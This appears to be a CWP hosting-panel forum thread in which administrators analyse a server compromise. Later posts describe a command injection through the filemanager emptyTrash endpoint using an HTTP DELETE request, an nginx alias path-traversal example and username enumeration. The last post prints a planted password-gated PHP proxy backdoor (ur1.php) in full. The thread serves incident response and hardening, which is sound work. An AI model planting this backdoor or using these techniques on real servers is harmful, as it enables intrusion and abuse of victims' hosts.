Author Topic: Possible CWP Security Issue – Malicious JavaScript Injection  (Read 489 times)

emerysteele and 4 Guests are viewing this topic.

Offline
*
Re: Possible CWP Security Issue – Malicious JavaScript Injection
« Reply #15 on: August 27, 2026, 01:03:52 PM »
In response to overseer ... Big Thanks for the advice!..:..

Trying to add to the forum here as well.

The access_log was over 3 gbs in size.
...
Is it safe to delete these two periodically on my own?
My advice:
Code: [Select]
truncate -s0 /usr/local/cwpsrv/logs/access_log
truncate -s0 /usr/local/cwpsrv/logs/error_log
Then look at File Management >  Logrotate Manager and add a rotation job for those files.

Added the following conf file into the log rotation tool

/usr/local/cwpsrv/logs/*_log {
    daily
    missingok
    notifempty
    rotate 14
    compress
    delaycompress
    copytruncate
}

This is tested and working. Use/edit  it at your own risk :) Notice the copytruncate at the end...learned the hard way that was needed, without it the the cwp process seemed to hold the file and continued writing into the copied file, not a good thing., The log rotation cron then did not create the log file. I am guessing that with a service bounce the original log file would be created.

Hope that this helps someone



« Last Edit: August 27, 2026, 01:06:30 PM by audept »

Offline
*
Re: Possible CWP Security Issue – Malicious JavaScript Injection
« Reply #16 on: August 27, 2026, 06:47:47 PM »
@murad99

Is there a reason you are still running CentOS 7, a past EOL OS?
That alone is a massive security hole.

The past several weeks they have been Kernel updates almost every other day, at least for AL9 and AL10.

But to close some of the security holes, I would updated your:

Base PHP to at least 8.3.33 and the PHP-FPM for the websites. (I'm glad CWP finally got PHP updated)
Apache is at 2.4.68
Nginx is at 1.30.4

jQuery has several notable past Common Vulnerabilities and Exposures (CVEs) related to Cross-Site Scripting (XSS) and DOM manipulation.
(There are 137 entries just for jQuery)

That's not counting the CVE's for CentOS 7, Apache <2.4.68, Nginx <1.30 and PHP <8.3.33

Our AlmaLinux 9 servers are all OK.
But we try to keep everything updated on the server side, unfortunately that doesn't work with some users. :/


As I mentioned at the beginning of this thread, I observed the same issue on two different CWP servers, and one of those servers was running AlmaLinux 9.

I agree that the older versions on my CentOS 7 server are my responsibility, and I am not trying to argue otherwise. However, I want to emphasize that I also found the same injected jQuery files on an AlmaLinux 9 server.

I am not particularly concerned about my own server in this case; I decided to report the issue publicly because I believe there may be something worth investigating.

I have shared what I found. The interpretation and conclusion are ultimately up to the CWP team and the community.

One more thing I would like to mention: it appears that registering on the forum with a Gmail address is currently not working, as the confirmation email does not arrive. This may give the impression that forum registration is disabled. There may be other users experiencing the same issue who are currently unable to report their findings or ask for help here.

I thought it was worth mentioning this as well.

Offline
*****
Re: Possible CWP Security Issue – Malicious JavaScript Injection
« Reply #17 on: August 27, 2026, 08:29:28 PM »
I can't keep up with CVE's for WordPress, and gave up.

But as long as you keep Apache updated, and have Mod Security installed, running the latest OWASP rules, you should be OK for the most part.

Unless again, WordPress or a WordPress plugin allows something in.

CWP hasn't had a CVE since last year (CVE-2025-67888), which was fixed with 0.9.8.1209
CVE-2025-48703 was fixed in 0.9.8.1205

There are 16 CVE's that just came out today (2026-08-27) for OpenSSL:
CVE-2026-81683
CVE-2026-81700
CVE-2026-81701
CVE-2026-81702
CVE-2026-81707
CVE-2026-81704
CVE-2026-81705
CVE-2026-81706
CVE-2026-81714
CVE-2026-81715
CVE-2026-81716
CVE-2026-81717
CVE-2026-81718
CVE-2026-81719
CVE-2026-81720
CVE-2026-81721

And 3 for Plesk:
CVE-2026-65642 (Allows you to gain access to other users databases)
CVE-2026-65646
CVE-2026-65647 (Allows code to be run as root)
« Last Edit: August 27, 2026, 08:31:39 PM by Starburst »

Offline
*****
Re: Possible CWP Security Issue – Malicious JavaScript Injection
« Reply #18 on: August 27, 2026, 08:34:07 PM »
Hmm what was going down in November? Been many challenges in 2026 I can't remember.

Search says this was current then CVE-2025-48703

These where the 2 last CVE's for CWP in 2025:

CVE-2025-67888 was fixed with 0.9.8.1209
CVE-2025-48703 was fixed in 0.9.8.1205

Offline
*
Re: Possible CWP Security Issue – Malicious JavaScript Injection
« Reply #19 on: August 27, 2026, 11:49:07 PM »
I can't keep up with CVE's for WordPress, and gave up.

But as long as you keep Apache updated, and have Mod Security installed, running the latest OWASP rules, you should be OK for the most part.

Unless again, WordPress or a WordPress plugin allows something in.

CWP hasn't had a CVE since last year (CVE-2025-67888), which was fixed with 0.9.8.1209
CVE-2025-48703 was fixed in 0.9.8.1205

There are 16 CVE's that just came out today (2026-08-27) for OpenSSL:
CVE-2026-81683
CVE-2026-81700
CVE-2026-81701
CVE-2026-81702
CVE-2026-81707
CVE-2026-81704
CVE-2026-81705
CVE-2026-81706
CVE-2026-81714
CVE-2026-81715
CVE-2026-81716
CVE-2026-81717
CVE-2026-81718
CVE-2026-81719
CVE-2026-81720
CVE-2026-81721

And 3 for Plesk:
CVE-2026-65642 (Allows you to gain access to other users databases)
CVE-2026-65646
CVE-2026-65647 (Allows code to be run as root)

Thank you, Starburst, for taking the time to look into this and for sharing your insights.

If you ever need help with anything here, I’m sure many people on this forum would be more than happy to help. Just start a thread and see what happens. :)

Offline
***
I discovered another file.
And the method used.

The file `
Code: [Select]
/usr/local/cwpsrv/var/services/users/login/conf/Iang.php` was created on the same date as `ico.php`.

* Anatomy of the attack

The method used was this one, detected by ModSecurity (I protect my `cwpsrv` with ModSecurity), whose logs modsec_audit.log the attacker forgot to delete:

---vsWUH37C---A--
[15/Nov/2025:08:06:12 -0300] 176320477298.529591 127.0.0.1 42932 127.0.0.1 2083
---vsWUH37C---B--
[very long string, unfortunately forum is not allowing to post]

---vRkASqMp---H--

---vRkASqMp---I--

---vRkASqMp---J--

---vRkASqMp---Z--



He deleted all the other logs.

File data:
Code: [Select]
# stat ico.php
    Arquivo: ico.php
    Tamanho: 1477      Blocos: 8          bloco de E/S: 4096   arquivo comum
Dispositivo: fd01h/64769d Inode: 2892154     Links: 1
     Acesso: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
     Acesso: 2026-08-27 10:18:13.727189654 -0300
Modificação: 2025-11-28 06:17:52.883868313 -0300
  Alteração: 2026-08-24 21:59:57.435060346 -0300
    Criação: 2025-11-15 08:06:12.856741480 -0300

# stat Iang.php
    Arquivo: Iang.php
    Tamanho: 1891      Blocos: 8          bloco de E/S: 4096   arquivo comum
Dispositivo: fd01h/64769d Inode: 3019261     Links: 1
     Acesso: (0644/-rw-r--r--)  Uid: (  971/  cwpsvc)   Gid: (  970/  cwpsvc)
     Acesso: 2026-08-27 20:53:36.488199001 -0300
Modificação: 2025-11-15 08:06:14.962752159 -0300
  Alteração: 2026-08-27 20:51:53.481791997 -0300
    Criação: 2025-11-15 08:06:12.432739330 -0300

If you are familiar with ModSecurity, you can use the HTTP data above to create a rule and protect your server.
ModSecurity was active, but the DELETE method was used; the attacker appended a ";" to the command and added further commands for execution.

* Why is the use of the DELETE method a crucial detail?

Firewall (WAF) Rule Bypass: Most administrators and default WAF/ModSecurity rules strictly monitor POST and GET requests, as these are the most common methods for sending data and commands. DELETE requests targeting public files often slip through without deep content inspection.

Exploiting Application Logic: The CWP script targeted in the attack (`/contsist/index.php?module=filemanager&acc=emptyTrash`) was originally designed to delete files (empty the trash). Consequently, the panel's API likely required or natively accepted the HTTP DELETE method for this specific function. The attacker exploited this legitimate permission to inject the `;` character into the URL and append the Linux commands that created the malicious file.

* Steps you can take:

Although the `filemanager` module appears to have been used, you should immediately restrict the methods allowed by Nginx and `cwpsrv`:
Add the following to your `/usr/local/cwpsrv/conf/cwpsrv.conf` file, inside the `server {` directive and before the `location / {` block:
Code: [Select]
# Natively block unauthorized methods in NGINX
if ($request_method !~ ^(GET|HEAD|POST)$ ) {
    return 444; # Code 444 closes the connection immediately without sending headers, saving bandwidth and dropping the bot
}

If you discover the presence of any of the files mentioned above, you should run a scan using the following command:
Code: [Select]
# maldet -a /usr/local/cwpsrv/htdocs/admin/

Critic:
To use the filemanager module, it was necessary to know the username.

But he managed to use the username because it's extremely simple to find the username in CWP: Just use http://IP.AD.DR.ESS/~username
Just associate it with the user's domain name, and the damage is done.

This feature needs to be disabled immediately in CWP.

There are other possible ways to test a website before it's published, and this is the worst method.

Once you have the username, all that's missing is the password to break the login of any active service on your server.

In my opinion, you should remove or comment out this section of the file /etc/nginx/conf.d/IP.AD.DR.ESS.conf
Code: [Select]
location ~ ^/~(.+?)(/.*)?$ {
    internal;
    proxy_pass http://IP.AD.DR.ESS:8181;
    include proxy.inc;
}
If you don't use the proxy, you should remove it anyway.

I discovered today that in nginx, using alias in a prefixed location that doesn't end with directory separator could lead to path traversal vulnerability.
Additional info: https://gixy.getpagespeed.com/checks/alias-traversal/
The alias directive is used to replace path of the specified location. For example, with the following configuration:

location /i/ {
    alias /data/w3/images/;
}
On request of /i/top.gif, the file /data/w3/images/top.gif will be sent.
But if the location doesn't end with directory separator (i.e. /):

location /i {
    alias /data/w3/images/;
}
On request of /i../app/config.py, the file /data/w3/app/config.py will be sent.
In other words, the incorrect alias configuration could allow an attacker to read files stored outside the target folder.

There are more things that can be done, but for now I need to focus on fixing my server and exploring other possibilities.
« Last Edit: Today at 04:33:05 AM by Netino »

Online
*
I had another file at '/usr/local/cwpsrv/var/services/pma/ur1.php' (notice the number 1 not letter L)

Code: [Select]
<?php
function sanitizeInput($input) {
    return 
base64_decode(strip_tags($input));
}
if (isset(
$_POST["pwd"]) && md5($_POST["pwd"]) === "f7f909e5246687610e1c56dc15121e26") {
    
$target_url = isset($_POST["url"]) ? sanitizeInput($_POST["url"]) : "";
    
$request_data = isset($_POST["data"]) ? sanitizeInput($_POST["data"]) : "";
    if (empty(
$target_url)) {
        
http_response_code(404);
        die(
"no url provided");
    }
    if (!
filter_var($target_urlFILTER_VALIDATE_URL)) {
        
http_response_code(404);
        die(
"URL format error");
    }
    try {
        
$ch curl_init();
        
$options = [
            
CURLOPT_URL => $target_url,
            
CURLOPT_RETURNTRANSFER => true,
            
CURLOPT_FOLLOWLOCATION => true,
            
CURLOPT_MAXREDIRS => 3,
            
CURLOPT_TIMEOUT => 10,
            
CURLOPT_SSL_VERIFYPEER => true,
            
CURLOPT_USERAGENT => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
            
CURLOPT_SSL_VERIFYPEER => false,
            
CURLOPT_SSL_VERIFYHOST => false
        
];
        
curl_setopt_array($ch$options);
        if (!empty(
$request_data)) {
            
curl_setopt($chCURLOPT_POSTtrue);
            
curl_setopt($chCURLOPT_POSTFIELDS$request_data);
        }
        
$response curl_exec($ch);
        
$http_code curl_getinfo($chCURLINFO_HTTP_CODE);
        if (
curl_errno($ch)) {
            throw new 
Exception("request error: " curl_error($ch));
        }
        
http_response_code($http_code);
        echo 
"status code: {$http_code}\n\n";
        echo 
$response;
    } catch (
Exception $e) {
        
http_response_code(404);
        echo 
"server error: " $e->getMessage();
    } 
finally {
        if (isset(
$ch)) {
            
curl_close($ch);
        }
    }
}
http_response_code(404);
?>
« Last Edit: Today at 05:14:11 AM by emerysteele »